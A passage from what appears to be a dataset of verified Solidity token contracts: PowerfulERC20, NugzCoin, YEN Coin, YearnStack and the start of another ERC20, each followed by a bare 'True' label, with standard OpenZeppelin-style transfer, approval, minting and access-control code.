transfer to * @param amount The amount allowed to be transferred * @return A boolean that indicates if the operation was successful. */ function approveAndCall(address spender, uint256 amount) public virtual override returns (bool) { return approveAndCall(spender, amount, ""); } /** * @dev Approve spender to transfer tokens and then execute a callback on recipient. * @param spender The address allowed to transfer to. * @param amount The amount allowed to be transferred. * @param data Additional data with no specified format. * @return A boolean that indicates if the operation was successful. */ function approveAndCall( address spender, uint256 amount, bytes memory data ) public virtual override returns (bool) { approve(spender, amount); require(_checkAndCallApprove(spender, amount, data), "ERC1363: _checkAndCallApprove reverts"); return true; } /** * @dev Internal function to invoke `onTransferReceived` on a target address * The call is not executed if the target address is not a contract * @param sender address Representing the previous owner of the given token value * @param recipient address Target address that will receive the tokens * @param amount uint256 The amount mount of tokens to be transferred * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallTransfer( address sender, address recipient, uint256 amount, bytes memory data ) internal virtual returns (bool) { if (!recipient.isContract()) { return false; } bytes4 retval = IERC1363Receiver(recipient).onTransferReceived(_msgSender(), sender, amount, data); return (retval == IERC1363Receiver(recipient).onTransferReceived.selector); } /** * @dev Internal function to invoke `onApprovalReceived` on a target address * The call is not executed if the target address is not a contract * @param spender address The address which will spend the funds * @param amount uint256 The amount of tokens to be spent * @param data bytes Optional data to send along with the call * @return whether the call correctly returned the expected magic value */ function _checkAndCallApprove( address spender, uint256 amount, bytes memory data ) internal virtual returns (bool) { if (!spender.isContract()) { return false; } bytes4 retval = IERC1363Spender(spender).onApprovalReceived(_msgSender(), amount, data); return (retval == IERC1363Spender(spender).onApprovalReceived.selector); } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: eth-token-recover/contracts/TokenRecover.sol pragma solidity ^0.8.0; /** * @title TokenRecover * @dev Allows owner to recover any ERC20 sent into the contract */ contract TokenRecover is Ownable { /** * @dev Remember that only owner can call so be careful when use on contracts generated from other contracts. * @param tokenAddress The token contract address * @param tokenAmount Number of tokens to be sent */ function recoverERC20(address tokenAddress, uint256 tokenAmount) public virtual onlyOwner { IERC20(tokenAddress).transfer(owner(), tokenAmount); } } // File: contracts/token/ERC20/behaviours/ERC20Decimals.sol pragma solidity ^0.8.0; /** * @title ERC20Decimals * @dev Implementation of the ERC20Decimals. Extension of {ERC20} that adds decimals storage slot. */ abstract contract ERC20Decimals is ERC20 { uint8 private immutable _decimals; /** * @dev Sets the value of the `decimals`. This value is immutable, it can only be * set once during construction. */ constructor(uint8 decimals_) { _decimals = decimals_; } function decimals() public view virtual override returns (uint8) { return _decimals; } } // File: contracts/token/ERC20/behaviours/ERC20Mintable.sol pragma solidity ^0.8.0; /** * @title ERC20Mintable * @dev Implementation of the ERC20Mintable. Extension of {ERC20} that adds a minting behaviour. */ abstract contract ERC20Mintable is ERC20 { // indicates if minting is finished bool private _mintingFinished = false; /** * @dev Emitted during finish minting */ event MintFinished(); /** * @dev Tokens can be minted only before minting finished. */ modifier canMint() { require(!_mintingFinished, "ERC20Mintable: minting is finished"); _; } /** * @return if minting is finished or not. */ function mintingFinished() external view returns (bool) { return _mintingFinished; } /** * @dev Function to mint tokens. * * WARNING: it allows everyone to mint new tokens. Access controls MUST be defined in derived contracts. * * @param account The address that will receive the minted tokens * @param amount The amount of tokens to mint */ function mint(address account, uint256 amount) external canMint { _mint(account, amount); } /** * @dev Function to stop minting new tokens. * * WARNING: it allows everyone to finish minting. Access controls MUST be defined in derived contracts. */ function finishMinting() external canMint { _finishMinting(); } /** * @dev Function to stop minting new tokens. */ function _finishMinting() internal virtual { _mintingFinished = true; emit MintFinished(); } } // File: @openzeppelin/contracts/access/IAccessControl.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/access/Roles.sol pragma solidity ^0.8.0; contract Roles is AccessControl { bytes32 public constant MINTER_ROLE = keccak256("MINTER"); constructor() { _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); } modifier onlyMinter() { require(hasRole(MINTER_ROLE, _msgSender()), "Roles: caller does not have the MINTER role"); _; } } // File: contracts/service/ServicePayer.sol pragma solidity ^0.8.0; interface IPayable { function pay(string memory serviceName) external payable; } /** * @title ServicePayer * @dev Implementation of the ServicePayer */ abstract contract ServicePayer { constructor(address payable receiver, string memory serviceName) payable { IPayable(receiver).pay{value: msg.value}(serviceName); } } // File: contracts/token/ERC20/PowerfulERC20.sol pragma solidity ^0.8.0; /** * @title PowerfulERC20 * @dev Implementation of the PowerfulERC20 */ contract PowerfulERC20 is ERC20Decimals, ERC20Capped, ERC20Mintable, ERC20Burnable, ERC1363, TokenRecover, Roles, ServicePayer { constructor( string memory name_, string memory symbol_, uint8 decimals_, uint256 cap_, uint256 initialBalance_, address payable feeReceiver_ ) payable ERC20(name_, symbol_) ERC20Decimals(decimals_) ERC20Capped(cap_) ServicePayer(feeReceiver_, "PowerfulERC20") { // Immutable variables cannot be read during contract creation time // https://github.com/ethereum/solidity/issues/10463 require(initialBalance_ <= cap_, "ERC20Capped: cap exceeded"); ERC20._mint(_msgSender(), initialBalance_); } function decimals() public view virtual override(ERC20, ERC20Decimals) returns (uint8) { return super.decimals(); } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControl, ERC1363) returns (bool) { return super.supportsInterface(interfaceId); } /** * @dev Function to mint tokens. * * NOTE: restricting access to addresses with MINTER role. See {ERC20Mintable-mint}. * * @param account The address that will receive the minted tokens * @param amount The amount of tokens to mint */ function _mint(address account, uint256 amount) internal override(ERC20, ERC20Capped) onlyMinter { super._mint(account, amount); } /** * @dev Function to stop minting new tokens. * * NOTE: restricting access to owner only. See {ERC20Mintable-finishMinting}. */ function _finishMinting() internal override onlyOwner { super._finishMinting(); } }

True

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/** *Submitted for verification at Etherscan.io on 2022-02-14 */ pragma solidity ^0.8.2; contract Token { mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowance; uint public totalSupply = 10000000 * 10 ** 18; string public name = "NugzCoin"; string public symbol = "NUGZ"; uint public decimals = 18; event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); constructor() { balances[msg.sender] = totalSupply; } function balanceOf(address owner) public returns(uint) { return balances[owner]; } function transfer(address to, uint value) public returns(bool) { require(balanceOf(msg.sender) >= value, 'balance too low'); balances[to] += value; balances[msg.sender] -= value; emit Transfer(msg.sender, to, value); return true; } function transferFrom(address from, address to, uint value) public returns(bool) { require(balanceOf(from) >= value, 'balance too low'); require(allowance[from][msg.sender] >= value, 'allowance too low'); balances[to] += value; balances[from] -= value; emit Transfer(from, to, value); return true; } function approve(address spender, uint value) public returns (bool) { allowance[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } }

True

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/** *Submitted for verification at Etherscan.io on 2021-04-24 */ // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } } contract YENc is Initializable { string public constant name = "YEN Coin"; string public constant symbol = "YENC"; string public constant version = "1"; uint8 public constant decimals = 18; event Approval(address indexed tokenOwner, address indexed spender, uint256 tokens); event Transfer(address indexed from, address indexed to, uint256 tokens); mapping(address => bool) public admins; mapping(address => uint256) public balances; mapping(address => mapping(address => uint256)) public allowed; uint256 private totalSupply_; modifier onlyAdmins() { require(admins[msg.sender] == true, "yenc/only-admin"); _; } function initialize(uint256 _initialSupply) public initializer { totalSupply_ = _initialSupply; balances[msg.sender] = totalSupply_; admins[msg.sender] = true; } function isAdmin(address _address) public view returns (bool) { return admins[_address]; } function addAdmin(address _address) public onlyAdmins { admins[_address] = true; } function removeAdmin(address _address) public onlyAdmins { require(msg.sender != _address, "yenc/self-remove"); admins[_address] = false; } function totalSupply() public view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public view returns (uint256) { return balances[tokenOwner]; } function transfer(address receiver, uint256 numTokens) public returns (bool) { require(numTokens <= balances[msg.sender], "yenc/excessive-transfer"); balances[msg.sender] = balances[msg.sender] - numTokens; balances[receiver] = balances[receiver] + numTokens; emit Transfer(msg.sender, receiver, numTokens); return true; } function approve(address delegate, uint256 numTokens) public returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function allowance(address owner, address delegate) public view returns (uint256) { return allowed[owner][delegate]; } function transferFrom(address owner, address buyer, uint256 numTokens) public returns (bool) { require(numTokens <= balances[owner], "yenc/excessive-transferFrom"); require(numTokens <= allowed[owner][msg.sender], "yenc/above-allowance"); balances[owner] = balances[owner] - numTokens; allowed[owner][msg.sender] = allowed[owner][msg.sender] - numTokens; balances[buyer] = balances[buyer] + numTokens; emit Transfer(owner, buyer, numTokens); return true; } function mint(address account, uint256 value) public onlyAdmins returns (bool) { require(account != address(0)); totalSupply_ = totalSupply_ + value; balances[account] = balances[account] + value; emit Transfer(address(0), account, value); return true; } function burn(address account, uint256 value) public onlyAdmins returns (bool) { require(account != address(0)); totalSupply_ = totalSupply_ - value; balances[account] = balances[account] - value; emit Transfer(account, address(0), value); return true; } }

True

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//SPDX-License-Identifier: MIT pragma solidity ^0.7.2; contract Owned { modifier onlyOwner() { require(msg.sender == owner); _; } address owner; address newOwner; function changeOwner(address payable _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { if (msg.sender == newOwner) { owner = newOwner; } } } contract ERC20 { string public symbol; string public name; uint8 public decimals; uint256 public totalSupply; mapping (address=>uint256) balances; mapping (address=>mapping (address=>uint256)) allowed; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function balanceOf(address _owner) view public returns (uint256 balance) {return balances[_owner];} function transfer(address _to, uint256 _amount) public returns (bool success) { require (balances[msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(msg.sender,_to,_amount); return true; } function transferFrom(address _from,address _to,uint256 _amount) public returns (bool success) { require (balances[_from]>=_amount&&allowed[_from][msg.sender]>=_amount&&_amount>0&&balances[_to]+_amount>balances[_to]); balances[_from]-=_amount; allowed[_from][msg.sender]-=_amount; balances[_to]+=_amount; emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _amount) public returns (bool success) { allowed[msg.sender][_spender]=_amount; emit Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) view public returns (uint256 remaining) { return allowed[_owner][_spender]; } } contract YearnStack is Owned,ERC20{ uint256 public maxSupply; constructor(address _owner) { symbol = "YSFI"; name = "Yearn Stack"; decimals = 18; // 18 Decimals are Best for Liquidity totalSupply = 50000000000000000000000; // 50,000 is Total Supply ; Rest 18 Zeros are Decimals maxSupply = 50000000000000000000000; // 50,000 is Total Supply ; Rest 18 Zeros are Decimals owner = _owner; balances[owner] = totalSupply; } receive() external payable { revert(); } }

True

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/** *Submitted for verification at Etherscan.io on 2021-12-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Interface for the optional metadata functions from the ERC20 standard. * * _Available since v4.1._ */ interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin Contracts guidelines: functions revert * instead returning `false` on failure. This behavior is nonetheless * conventional and does not conflict with the expectations of ERC20 * applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20, IERC20Metadata { mapping(address => uint256) private _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The default value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5.05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overridden; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual override returns (uint8) { return 0; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { 